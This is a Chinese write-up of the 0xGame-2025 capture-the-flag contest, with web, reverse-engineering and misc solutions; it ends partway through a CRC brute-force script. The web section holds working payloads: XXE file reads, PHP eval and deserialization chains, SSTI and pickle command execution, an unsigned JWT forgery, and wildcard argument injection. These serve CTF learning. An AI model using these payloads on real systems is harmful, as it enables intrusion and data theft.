0xGame-2025

tiran Lv2

web

week1-Lemon_RevEnge

拿到源码显然原型链污染

利用/<path:path>来进行任意文件读取,发现500报错

然后我们找到temlating.py下面的报错信息,然后逐步跟一下,发现防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。

1
2
3
4
5
6
7
8
9
10
11
{
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}

(记得改为json)

然后访问../../flag

week1-RCE1

给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];

$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';

function check(string $text): bool {
global $pattern;
return (bool) preg_match($pattern, $text);
}


if (isset($rce1) && isset($rce2)){
if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
if(!check($real_code)){
eval($real_code);
} else {
echo "Don't hack me ~";
}
} else {
echo "md5 do not match correctly";
}
}
else{
echo "Please provide both rce1 and rce2";
}
?>

首先是md5比较,使用数组即可绕过,然后是eval使用反引号即可

1
2
get ?rce1[]=1
post rce2[]=2&rce3=`n\l /f???>a.txt`;

week1-留言板(粉) 与 留言板_reVenge

首先是弱口令爆破

1
2
账号:admin
密码:admin123

然后是一个留言板,随便写东西发现

存在xxe

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<x>&xxe;</x>

week1-Lemon

ctrl+shift+i

week1-Rubbish_Unser

给出源码,需要搓pop链且需要提前destruct,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

class ZZZ
{
public $yuzuha;

function __destruct()//5
{
echo "破绽,在这里!" . $this -> yuzuha;//4
}
}

class HSR
{
public $robin;
function __get($robin)//1
{
$castorice = $this -> robin;
eval($castorice);//利用
}
}

class HI3rd
{
public $RaidenMei;
public $kiana;
public $guanxing;
function __invoke()//2
{
if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei))
return $this -> guanxing -> Elysia;//1
}
}

class GI
{
public $furina;
function __call($arg1, $arg2)//3
{
$Charlotte = $this -> furina;
return $Charlotte();//2
}
}

class Mi
{
public $game;
function __toString()//4
{
$game1 = @$this -> game -> tks();//3
return $game1;
}
}

$a = new ZZZ();
$a -> yuzuha = new MI();
$a -> yuzuha -> game = new GI();
$a -> yuzuha -> game -> furina = new HI3rd();
$a -> yuzuha -> game -> furina -> RaidenMei = false;
$a -> yuzuha -> game -> furina -> kiana = '';
$a -> yuzuha -> game -> furina -> guanxing = new HSR();
$a -> yuzuha -> game -> furina -> guanxing -> robin = 'system("env");';

$b=array('a'=>$a,'b'=>NULL);
echo urlencode(serialize($b));

//输出a%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22ZZZ%22%3A1%3A%7Bs%3A6%3A%22yuzuha%22%3BO%3A2%3A%22Mi%22%3A1%3A%7Bs%3A4%3A%22game%22%3BO%3A2%3A%22GI%22%3A1%3A%7Bs%3A6%3A%22furina%22%3BO%3A5%3A%22HI3rd%22%3A3%3A%7Bs%3A9%3A%22RaidenMei%22%3Bb%3A0%3Bs%3A5%3A%22kiana%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22guanxing%22%3BO%3A3%3A%22HSR%22%3A1%3A%7Bs%3A5%3A%22robin%22%3Bs%3A14%3A%22system%28%22env%22%29%3B%22%3B%7D%7D%7D%7D%7Ds%3A1%3A%22b%22%3BN%3B%7D
//payload:a%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22ZZZ%22%3A1%3A%7Bs%3A6%3A%22yuzuha%22%3BO%3A2%3A%22Mi%22%3A1%3A%7Bs%3A4%3A%22game%22%3BO%3A2%3A%22GI%22%3A1%3A%7Bs%3A6%3A%22furina%22%3BO%3A5%3A%22HI3rd%22%3A3%3A%7Bs%3A9%3A%22RaidenMei%22%3Bb%3A0%3Bs%3A5%3A%22kiana%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22guanxing%22%3BO%3A3%3A%22HSR%22%3A1%3A%7Bs%3A5%3A%22robin%22%3Bs%3A14%3A%22system%28%22env%22%29%3B%22%3B%7D%7D%7D%7D%7Ds%3A1%3A%22a%22%3BN%3B%7D

最后发送时将b改为a即可提前__destruct()(但是题目好像有点问题,不需要提前destruct也可以通

week1-Http的真理,我已解明

没啥说的,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /?hello=web HTTP/1.1
Host: 80-12482bff-8c1c-4eb0-a3de-0d07d23b9f60.challenge.ctfplus.cn
Content-Length: 9
Pragma: no-cache
Cache-Control: no-cache
Origin: http://80-12482bff-8c1c-4eb0-a3de-0d07d23b9f60.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Safari
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: www.mihoyo.com
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Sean=god
via: clash
Connection: keep-alive

http=good

week2-404NotFound

题目说:你虽然想查看flag,但是404了该怎么办

所以我们访问flag

发现回显了我们的路径,并且发现后端为python,猜测ssti

发现存在ssti(都是ssti了,直接fenjing一把梭)

由于是回显路径,且状态码都是404,所以得写一个转发脚本才能用fenjing

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, Response
import requests

app = Flask(__name__)

@app.route('/')
def proxy_name():
name = request.args.get('name', '')
target_url = f"http://5000-350507ba-6216-4b6b-af0a-6e5986b32089.challenge.ctfplus.cn/{name}"
r = requests.get(target_url)
content = r.text
# 检查内容中是否包含指定字符串
if "没想到遇到了嗨客" in content:
status_code = 404
else:
status_code = 200
return Response(content, status=status_code, content_type=r.headers.get('Content-Type', 'text/html'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

1
{{(cycler['next']['__g''lobals__']['o''s']['p''open']('cat+/flag'))['read']()}}

week2-马哈鱼商店

先随便注册个用户看看

发现可以购买东西,看到flag了,直接买

意料之内

有一个叫pickle的,看看

抓包发现折扣,修改为一个极小值

通过阅读代码发现过滤了0x00和0x1E,但是在pickle在默认情况下有许多的这种字符不可避免,但是在protocol=0是文本不含

脚本

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64
import subprocess

class Evil(object):
def __reduce__(self):
return (subprocess.getoutput, ('env',))

payload = pickle.dumps(Evil(), protocol=0)
print(base64.b64encode(payload).decode())

#Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVmVudgpwMQp0cDIKUnAzCi4=

week2-DNS想要玩

简单的ssrf,使用句号绕过.

week2-你好,爪洼脚本

一眼aaEncode

1
0xGame{Hello,JavaScript}

week2-Plus_plus

给出源码,发现没有过滤+和数字

1
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);//长度118    $_GET[1]($_GET[2])

week2-我只想要你的PNG!

打开发现是一个文件上传,且在源码中发现check.php

随便上传一个文件

发现严格校验后缀,并且我们访问提示404

也没办法目录超越

打开check.php

发现了我们的文件名1.php

尝试ssti未果,然后将文件名改为PHP代码

成功执行

week3-消栈逃出沙箱(1)反正不会有2

没有过滤.[]()_,打继承链

1
print([].__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['popen']('env').read())

week3-长夜月

给出源码

在进行jwt解码时并没有限制签名方式,可以使用jwt签名置空来绕过

先看看格式

将用户名改为admin,签名置空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import jwt


token_dict = {
"username": "admin",
"password": "1",
"iat": 1761060963,
"exp": 1761096963
}

headers = {
"alg": "none",
"typ": "JWT"
}


jwt_token = jwt.encode(token_dict,"",algorithm="none",headers=headers)

print(jwt_token)

成功进入/admin_club1st

原型链污染,修改min_public_time

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

# 目标 URL
url = "http://80-64710b8d-4566-4686-a59b-4e2df7912458.challenge.ctfplus.cn/admin_club1st"
jwt_cookie = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzYxMDYwOTYzLCJleHAiOjE3NjEwOTY5NjN9."

# 构造 body,污染 min_public_time
data = {"__proto__": {"min_public_time": "2025-08-02"}}

headers = {
"Cookie": f"token={jwt_cookie}"
}

# 你可能需要调整 headers,body 数据格式(json 或 form)
response = requests.post(url, json=data, headers=headers)

print("Status:", response.status_code)
print("Response:")
print(response.text)

week3-这真的是文件上传

(几乎是羊城杯原题了,刚打

给出源码

任意 PUT 写文件,文件内容 base64 解密后存储

得写index覆盖原来的,有个在渲染时有白名单检查,只渲染index

1
<%- global.process.mainModule.require('child_process').execSync('env') %>

week3-放开我的变量

拿到博客先扫目录

发现没有权限读,看看下面的sh脚本

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s

done &

exec apache2-foreground

前置知识

cp指令参数
选项名称/含义对命令行参数中的符号链接对目录内部的符号链接备注
-P不跟随 (Preserve link)复制链接本身复制链接本身通常是默认行为
-H仅命令行跟随复制链接指向的目标复制链接本身只对直接列出的源起作用
-L总是跟随 (Follow link)复制链接指向的目标复制链接指向的目标-P 行为完全相反
1
cp -P * /var/www/html/marstream/
* 的解析规则(Shell Globbing)
  • Shell 会列出当前目录下所有非隐藏文件和目录(即不以 . 开头的)。
  • 然后按字母顺序排序,生成一个文件名列表。
  • 最后,把 * 替换成这个列表,再执行 cp 命令。
1
2
3
4
5
6
7
如果当前目录有:
a.txt
b.txt
file.txt

就会解析成
cp -P a.txt b.txt file.txt /var/www/html/backup/

如果文件名是 - 开头会发生什么?

灾难性后果:文件名被当作命令行选项解析!

根据linux系统命令参数的后来者胜出原则,我们在 -P 后边添加 -H 就会实现跟随链接复制了.
所以,我们可以创建一个名字为 -H或者 -L的文件,然后再创建 /flag的链接,就可以复制flag的内容了.

week3-文件查询器(蓝)

在文件读取时存在任意文件读取

week3-New_Python!

随便注册一个号,下载提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert
import random
import uuid

# 通过RSA得到UUID8的a
# 再通过其他方式获取到b和c
# 利用UUID8生成Admin密码

msg= b''
BITS = 1024
e = 65537

p = getPrime(BITS//2)
q = getPrime(BITS//2)
n = p * q

phi = (p - 1) * (q - 1)
d = int(invert(e, phi))

key = bytes_to_long(msg)

c = pow(key, e, n)

dp = d % (p - 1)

#print("n = ", n)
#print("e = ", e)
#print("c = ", c)
#print("dp = ", dp)

key = "" #{}内的
key = key.encode()
key = int.from_bytes(key, 'big')
pa = uuid.uuid8(a=key)

#n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669
#e = 65537
#c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719
#dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523

ai得到a

响应头得到b

得到c

登陆admin账号,命令执行env

RE

week1-SignIn

shift+f12直接出

week1-SignIn2

整体思路主要是输入正确的key就能把flag输出

通过模拟flag的解密流程进行爆破

可以得出数字为16

week1-EasyXor

主要逻辑就是把输入的flag和key进行xor再加i

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
int main(){
char a[]="raputa0xGame2025";
int b[]={
0x42, 0x1A, 0x39, 0x17, 0x1D, 0x09, 0x51, 0x55, 0x2C, 0x5F,
0x63, 0x0C, 0x0D, 0x16, 0x62, 0x27, 0x55, 0x64, 0x55, 0x26,
0x6D, 0x6A, 0x18, 0x34, 0x88, 0x65, 0x6E, 0x1C, 0x21, 0x6E,
0x3D, 0x23, 0x6A, 0x25, 0x6B, 0x63, 0x68, 0x7E, 0x77, 0x75,
0x9A, 0x7D, 0x39, 0x43
};
for(int i=0;i<44;i++){
b[i]-=i;
b[i]^=a[i%16];
printf("%c",b[i]);
}
return 0;
}

week1-ZZZ

通过z3解未知数,会发现结果不只有一个,把解出来的值进行sha-256加密一个个比对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from z3 import *

def enumerate_solutions():
# 32-bit bit-vectors (无符号 32 位)
x1, x2, x3, x4 = BitVecs('x1 x2 x3 x4', 32)

# 目标常量统一按 32 位处理
C1 = 0xA9D0D227
C2 = 0xD7E7EB42
C3 = 0x39210093
C4 = 0x0755F6E9

s = Solver()

# 线性约束(32 位模算术)
s.add(3 * x2 + 5 * x1 + 7 * x4 + 2 * x3 == BitVecVal(C1, 32))
s.add(2 * (2 * (2 * x2 + x3) + x1) + x4 == BitVecVal(C2, 32))
s.add(7 * x2 + 3 * x1 + 5 * x4 + 4 * x3 == BitVecVal(C3, 32))

# 位运算约束:右移使用逻辑右移 LShR
s.add(((x1 ^ x2) << 6) + (LShR(x3, 6) ^ BitVecVal(0x4514, 32)) == BitVecVal(C4, 32))

models = []
# 枚举所有模型:每找到一个就加阻塞子句避免重复
while s.check() == sat:
m = s.model()
# 读出无符号 32 位值
vals = [m[v].as_long() & 0xFFFFFFFF for v in (x1, x2, x3, x4)]
models.append(vals)

# 阻塞当前模型(任一变量不同即可)
s.add(Or(x1 != m[x1], x2 != m[x2], x3 != m[x3], x4 != m[x4]))

return models

if __name__ == "__main__":
sols = enumerate_solutions()
print(f"# of solutions: {len(sols)}")
for i, (X1, X2, X3, X4) in enumerate(sols, 1):
print(f"[{i}] x1=0x{X1:08X} ({X1}), x2=0x{X2:08X} ({X2}), "
f"x3=0x{X3:08X} ({X3}), x4=0x{X4:08X} ({X4})")
print(f" 0xGame{{{X1:08x}{X2:08x}{X3:08x}{X4:08x}}}")

week1-BaseUpx

脱完upx壳之后

发现是base64

直接丢cyberchef解base64即可

week1-DyDebug

动态调试直接出

week2-算数高手

解包之后反编译完直接出

week2-16bit

简单的汇编代码

不难看出存在两个for循环

一个先-9再和0xE异或

一个先和0xE异或再-9

由此可以编写代码

1
2
3
4
5
6
7
8
9
10
11
s = [0x47, 0x7F, 0x52, 0x78, 0x6C, 0x74, 0x7E, 0x72, 0x47, 0x47, 0x73, 0x5A, 0x84, 0x5A, 0x43, 0x85, 0x46, 0x5A, 0x83, 0x6F, 0x46, 0x5A, 0x6C, 0x33, 0x30, 0x73, 0x32, 0x75, 0x66, 0x37, 0x61, 0x66, 0x33, 0x30, 0x78, 0x66, 0x40, 0x35, 0x61, 0x4E, 0x64, 0x34, 0x65, 0x32, 0x33, 0x88]
flag = ""
for i in range(23):
val = ((s[i] - 9) ^ 0x0E)
flag += chr(val)

for i in range(23, len(s)):
val = ((s[i] ^ 0x0E) - 9)
flag += chr(val)

print(flag)

week2-Shuffle!Shuffle!

伪随机

但是被hook掉了

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class MsvcrtRand:
"""
A Python implementation of the rand() function from the Microsoft C Runtime (MSVCRT).
"""
def __init__(self, seed):
self.state = seed

def rand(self):
self.state = (self.state * 214013 + 2531011) & 0xFFFFFFFF
return (self.state >> 16) & 0x7FFF

# --- Main Decryption Logic ---

encrypted_flag = "23-64bed6}-xm5300-{faGa34-0e04c2e7c2a78f39a4"
n = len(encrypted_flag)

# 1. Compute the forward permutation `p`.
# This simulates the shuffle on a list of indices to find out where each
# original element ends up.
r = MsvcrtRand(0x666)
p = list(range(n))
for i in range(n - 1, 0, -1):
j = r.rand() % (i + 1)
p[i], p[j] = p[j], p[i]
# After this loop, p[k] contains the original index of the element that moves to position k.
# The encryption relation is: encrypted_flag[k] = original_flag[p[k]]

# 2. Compute the inverse permutation `p_inv`.
# If `p` maps original index `p[k]` to final index `k`,
# then `p_inv` must map final index `k` back to original index `p[k]`.
# The relation is: p_inv[p[k]] = k.
p_inv = [0] * n
for k in range(n):
p_inv[p[k]] = k

# 3. Apply the inverse permutation to decrypt.
# The decryption relation is: original_flag[k] = encrypted_flag[p_inv[k]]
decrypted_arr = [''] * n
encrypted_arr = list(encrypted_flag)
for k in range(n):
decrypted_arr[k] = encrypted_arr[p_inv[k]]

decrypted_flag = "".join(decrypted_arr)

print("="*40)
print(f"解密完成!")
print(f"解密后的 flag 是: {decrypted_flag}")
print("="*40)

week2-TELF

UPX壳

去掉了其中一个特征标识

自己加了个UPX壳用两个程序进行比较

发现了不同之处

把这个X1c改回UPX就能用程序脱壳了

伪随机+tea加密

用动调获取key

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdint.h>
#include<stdio.h>

void decrypt (uint32_t *v,uint32_t *k,int j){
uint32_t v0=v[j],v1=v[j+1],sum=-0x61C88647*32,i;
uint32_t delta=0x61C88647;
uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
for (i=0;i<32;i++){
v1-=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
v0-=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
sum+=delta;
}
v[j]=v0;v[j+1]=v1;
}

int main(){
uint32_t v[14]={0xDC01DAAD, 0x088A5BAE, 0x8F4FF54E, 0x9E9D5F6E, 0x08A94E0A, 0xC245AB25, 0x438FC94B, 0x28D6513D,
0xF4CD72F6, 0x3B4AB42B, 0xEF6636FB, 0xB28C8AD6, 0x1B9C1AEB,0x531F9C0A};
uint32_t const k[4]={0x7E4D087B, 0x7A4DB733, 0x70FE9DF0, 0x595607F7};
for(int j=0;j<14;j+=2)
{
decrypt(v,k,j);
}
unsigned char bytes[14 * 4];
for (int i = 0; i < 14; ++i) {
bytes[i * 4 + 0] = (unsigned char)(v[i] & 0xFF);
bytes[i * 4 + 1] = (unsigned char)((v[i] >> 8) & 0xFF);
bytes[i * 4 + 2] = (unsigned char)((v[i] >> 16) & 0xFF);
bytes[i * 4 + 3] = (unsigned char)((v[i] >> 24) & 0xFF);
}
for(int i=0;i<14*4;i++)
printf("%c",bytes[i]);
return 0;
}

week2-BabyJar

通过分析代码可以知道

先和key进行异或

然后高四位和低四位交换位置

最后一个base64加密

解密代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64


def decrypt(encrypted_str, key):
# 步骤1: Base64解码
decoded_bytes = base64.b64decode(encrypted_str)

# 步骤2: 使用指定的key进行异或解密
decrypted_bytes = []
for b in decoded_bytes:
# 异或操作,将每个字节与key进行异或
decrypted_byte = b
decrypted_byte = (((decrypted_byte & 240) >> 4) | ((decrypted_byte & 15) << 4));
decrypted_byte^= key
decrypted_bytes.append(decrypted_byte)

# 将字节数组转换为字符串
return bytes(decrypted_bytes).decode('utf-8', errors='ignore')


if __name__ == "__main__":
# 加密后的flag
encrypted_flag = "QsY1V5cX9jJyF2JSAgdikwfCEneTAgICUpNnd1Iyk8IXUkJ3QhcyZ8J3YpY="
# 指定的密钥
key = 20

# 解密
flag = decrypt(encrypted_flag, key)
# 假设flag是包含字符的列表(每个字符对应一个字节)
# 假设 flag 是一个字符串


# 输出结果
print("解密后的flag:")
print(flag)

MISC

week1-公众号原稿

.docx改为.zip

发现gift

week1-Zootopia

随波逐流一把梭

week1-Do not enter

搜索0xGame,发现有一堆,在寻寻觅觅中发现了114514,一眼就是了

week1-Sign_in

先base64,在凯撒偏移10

1
2
3
MGhRa3dve0dvdm0wd29fZDBfMGhRNHczXzJ5MjVfQHhuX3JAbXVfUHliX3BlWH0=
0hQkwo{Govm0wo_d0_0hQ4w3_2y25_@xn_r@mu_Pyb_peX}
0xGame{Welc0me_t0_0xG4m3_2o25_@nd_h@ck_For_fuN}

week1-签到-0xGame

week1-ez_Shell

连上ssh

flag最后拼接在一起即可

week1-ezShell_PLUS

week2-开锁师傅

发现附件里面存在两个文件,一个png,一个flag

比较显然是明文爆破

0xGame{太短不适合,只能是png了,

众所周知png的头是固定的为

正好16字节

1
0xGame{Y0u_cRacked_M3!z1p_1s_uNsafe!}

week2-ezShiro

net-a一把梭

week2-删库跑路

打开压缩包发现了.git文件夹,我们直接在本地起一个服务,拿工具一跑就出了

给ai一跑完事

week2-这个b64不太对啊

把base表给打乱了,然后我们给输入,他给输出,让我们还原base表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'info'

HOST = 'nc1.ctfplus.cn'
PORT = 40152

def enter_encode_mode(io):
io.recvuntil(b"Choose an option (1/2): ")
io.sendline(b"1")
io.recvuntil(b"> ")

def encode_once(io, payload_bytes):
# 发送一行数据,服务端一般按行读取
io.sendline(payload_bytes)
io.recvuntil(b"Result: ")
line = io.recvline().rstrip(b"\r\n")
# 回到提示符
io.recvuntil(b"> ")
return line.decode('latin-1', errors='ignore')

def safe_b2_for_index(i: int) -> int:
"""
选择一个安全的第三字节 b2,使得 b2 & 0x3F == i,
同时避开 NUL、空白、换行/回车、DEL 等可能引发截断/过滤的字节。
策略:优先用 i+64(范围 0x40..0x7E),但 i=63 时避免 0x7F,改用 0x3F('?')
"""
if i == 63:
return 0x3F # '?'
return i + 0x40 # 0x40..0x7E

def build_alphabet(io):
alphabet = ['?'] * 64
bad = []
for i in range(64):
b0 = 0x41 # 'A'
b1 = 0x41 # 'A'
b2 = safe_b2_for_index(i)

# 额外兜底(理论上不会触发)
if b2 in (0x00, 0x0A, 0x0D, 0x20, 0x7F):
b2 = (i + 0x40) & 0xFF
if b2 in (0x00, 0x0A, 0x0D, 0x20, 0x7F):
# 再兜底,用 i 本身(除了 i=32 空格外基本安全;i=32 已被上面处理掉)
b2 = i

payload = bytes([b0, b1, b2])
out = encode_once(io, payload)

if len(out) != 4:
log.warning(f"Unexpected output length for i={i}: {out!r}")

# 关键:第4个字符对应 b2 & 0x3F == i
c = out[3]
if c == '=':
bad.append(i)
alphabet[i] = c

if bad:
log.warning(f"Indices yielding '=' at 4th char (should not happen): {bad}")

return ''.join(alphabet)

def main():
io = remote(HOST, PORT)

# 进入编码模式并还原表
enter_encode_mode(io)
table = build_alphabet(io)

# 基本校验
if '=' in table:
log.failure("Recovered table still contains '=' which is invalid. See indices above if logged.")
print(table)
io.close()
return
if len(table) != 64 or len(set(table)) != 64:
log.failure("Recovered table length/uniqueness check failed.")
print(table, len(table), len(set(table)))
io.close()
return

log.success(f"Recovered Base64 alphabet: {table}")

# 同一连接返回菜单并提交
try:
io.sendline(b'!q')
# 回菜单
io.recvuntil(b"Choose an option (1/2): ")
io.sendline(b"2") # 提交字符集
# 等待输入提示(根据实际题面可能不同,下面尽量宽松地等待到冒号)
io.recvuntil(b":")
io.sendline(table.encode())
resp = io.recvrepeat(1.5)
print(resp.decode('latin-1', errors='ignore'))
except Exception as e:
log.info(f"Submit step skipped or failed: {e}")

io.close()

if __name__ == '__main__':
main()

week2-ezEXIF

改时间

修改长宽

添加Make,Camera Model Name,描述

week3-收集阳光吧

都是misc了,你就玩玩吧

week4-ezHack

ssh连接

发现用户目录有一个hello

查看定时任务

找到文章命令执行到提权 | Asuri Team

和之前的week3-web-放开我的变量一样,* 会将所有文件列出来然后替换进去

因此我们创建一个文件名叫-e sh tiran.txt,然后再创一个文件名叫tiran.txt里面放我们想要执行的命令

week4-问卷大调查

问卷里面

week4-开锁师傅2.0

打开压缩包发现里面全部都是一堆需要4字节的小文件,显而易见第一步是crc爆破

得到信息

1
好像有个很重要的文件,就记住了前面的内容:welcome_to_0xGame

有一个vip文件,所以根据提示显然为明文爆破

week4-开锁师傅2.0_reverge

使用之前的工具发现报错

打开压缩包一看发现多了一层文件夹,应该就是这个原因引起的

找其他工具

发现爆不出来,看了看源码发现他就暴力了3个字符的ascii,并没有中文,拷打ai改改脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
import zipfile
import argparse
import string
import binascii
import io, sys
import re, os

def title():
print('+-----------------------------------------------------+')

def natural_key(pathname: str):
"""
自然排序key:
- 仅按文件名比较(忽略目录),例如 dir/10.txt 与 dir/2.txt 按 2,10 排
- 数字片段按整数比较,其他按不区分大小写的字符串比较
"""
name = os.path.basename(pathname)
parts = re.split(r'(\d+)', name)
return [int(p) if p.isdigit() else p.lower() for p in parts]
print('+ python3 CRC32-Tools.py -h --> 根据不同情况选择参数 +')

def FileRead(zipname):
try:
f =open(zipname) #打开目标文件
f.close()
except FileNotFoundError:
print ("未找到同目录下的压缩包文件" + zipname) #如果未找到文件,输出错误
return #退出线程,进行详细报错
except PermissionError:
print ("无法读取目标压缩包(无权限访问)") #如果发现目标文件无权限,输出错误
return #退出线程,进行详细报错

def ReadCRC(zipname):
zip_url = "./" + zipname
file_zip = zipfile.ZipFile(zip_url) #用zipfile读取指定的压缩包文件
name_list = sorted(file_zip.namelist(), key=natural_key) #使用一个列表,获取并存储压缩包内所有的文件名,并按自然顺序的文件名排序
crc_list = []
print('+--------------遍历指定压缩包的CRC值----------------+')
for name in name_list:
name_message = file_zip.getinfo(name)
crc_list.append(hex(name_message.CRC))
print('[OK] {0}: {1}'.format(name,hex(name_message.CRC)))
print('+---------------------------------------------------+')
crc32_list = str(crc_list)
crc32_list = crc32_list.replace('\'' , '')
print("读取成功,导出CRC列表为:" + crc32_list) #导出CRC列表后,导入其他脚本进行CRC碰撞

def OneByte(zipname):
zip_url = "./" + zipname
file_zip = zipfile.ZipFile(zip_url) #用zipfile读取指定的压缩包文件
name_list = sorted(file_zip.namelist(), key=natural_key) #使用一个列表,获取并存储压缩包内所有的文件名,并按自然顺序的文件名排序
crc_list = []
crc32_list = []
print('+--------------遍历指定压缩包的CRC值----------------+')
for name in name_list:
name_message = file_zip.getinfo(name)
crc_list.append(name_message.CRC)
crc32_list.append(hex(name_message.CRC))
print('[OK] {0}: {1}'.format(name,hex(name_message.CRC)))
print('+-------------对输出的CRC值进行碰撞-----------------+')
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars: #获取任意1Byte字符
thicken_crc = binascii.crc32(char1.encode()) #获取任意1Byte字符串的CRC32值
calc_crc = thicken_crc & 0xffffffff #将任意1Byte字符串的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value: #匹配两个CRC32值
print('[Success] {}: {}'.format(hex(crc_value),char1))
comment += char1
print('+-----------------CRC碰撞结束!!!-----------------+')
crc32_list = str(crc32_list)
crc32_list = crc32_list.replace('\'' , '')
print("读取成功,导出CRC列表为:" + crc32_list) #导出CRC列表
if comment:
print('CRC碰撞成功,结果为: {}'.format(comment)) #输出CRC碰撞结果
else:
print('CRC碰撞没有结果,请检查压缩包内文件是否为1Byte!!!')

